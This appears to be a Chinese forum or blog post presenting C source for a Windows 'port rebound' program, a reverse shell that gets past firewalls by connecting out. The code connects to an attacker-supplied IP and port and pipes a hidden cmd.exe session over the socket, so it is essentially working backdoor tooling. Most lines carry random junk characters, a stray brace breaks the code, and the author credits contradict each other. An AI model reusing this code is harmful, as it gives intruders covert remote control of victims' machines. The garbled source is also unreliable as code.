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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >x]b"@Hkw  
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/* ============================== ">_<L.,I  
Rebound port in Windows NT c>!zJA B  
By wind,2006/7 K%h9'}pq>1  
===============================*/ @~,&E*X! .  
#include 1zqIB")s>  
#include lI~T>Lel2  
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#pragma comment(lib,"wsock32.lib") 7}>Zq`]~  
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void OutputShell(); _IYd^c  
SOCKET sClient; T#KF@8'-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <#/r.}.x  
(&t741DN|  
void main(int argc,char **argv) #; ~`+[y?\  
{ xMsSZ{j%5  
WSADATA stWsaData; .$&mWytw=  
int nRet; =;A p+}  
SOCKADDR_IN stSaiClient,stSaiServer; gT8Q:8f:  
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if(argc != 3) *'[8FZ|dQ  
{ @-ps[b`z  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?&A)%6` ~  
return; w*#B_6bG  
} HEh,Cf7`'  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Ck.LsL-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s2F<H#  
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stSaiClient.sin_family = AF_INET; T-,T)R`R  
stSaiClient.sin_port = htons(0); ^F\RM4|,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l Oxz&m  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t7#lRp&  
{ r'*x><m'  
printf("Bind Socket Failed!\n"); $.HZz  
return; ,'!x 9 `  
} 9lXjB_wG>  
} V  *  
stSaiServer.sin_family = AF_INET; d?[gd(O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0#Ivo<V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8k~$_AT>u  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5>CmWMQ  
{ (B+CI%= D  
printf("Connect Error!"); 4gD;XNrV  
return; :DWvH,{+&  
} Dnk}  
OutputShell(); E3hql3=  
} *ay&&S*  
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void OutputShell() Bk)E]Fk|  
{ a9LK}xc={  
char szBuff[1024]; =f~8"j  
SECURITY_ATTRIBUTES stSecurityAttributes; _EHz>DJ9  
OSVERSIONINFO stOsversionInfo; omd oH?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \G4L+Q/13  
STARTUPINFO stStartupInfo; +;#z"m]  
char *szShell; B|I9Ex~L  
PROCESS_INFORMATION stProcessInformation; Z2P DT  
unsigned long lBytesRead; XS#Jy n  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '0b!lVe  
n<,:;0{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <DeC^[-P  
stSecurityAttributes.lpSecurityDescriptor = 0; #Sg< 9xsW  
stSecurityAttributes.bInheritHandle = TRUE; [p Y1\$,  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y9<N#h#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r< MW8  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vD-m FC)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;r8< Ed  
stStartupInfo.wShowWindow = SW_HIDE; OKo)p`BX  
stStartupInfo.hStdInput = hReadPipe; Q H>e_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3[{RH*nHD  
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GetVersionEx(&stOsversionInfo); vQH 6CB"  
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switch(stOsversionInfo.dwPlatformId) L.ML0H-   
{ Nh^ lC  
case 1: 4 * n4P  
szShell = "command.com"; {u}d`%_.M  
break; =# /BCL7  
default: hnYL<<AA  
szShell = "cmd.exe"; tRtoA5  
break; C}'Tmi  
} {D{' \]+  
D`4>Wh/H  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D`9a"o  
*`]#ntz9  
send(sClient,szMsg,77,0); / biB *Z  
while(1) N+N98~Y`P  
{ F[@M?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )lh Pl  
if(lBytesRead) xfzGixA  
{ < C1Jim  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [,a2A  
send(sClient,szBuff,lBytesRead,0); dy' J~Eo7  
} O~*`YsL9  
else P->.eo#VG  
{ b # |  
lBytesRead=recv(sClient,szBuff,1024,0); gm8FmjZtf  
if(lBytesRead<=0) break; 'kb|!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -\|S=< g  
} |Y tZOQu  
} Lk8[fFa4  
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return; vT=?UTq  
}
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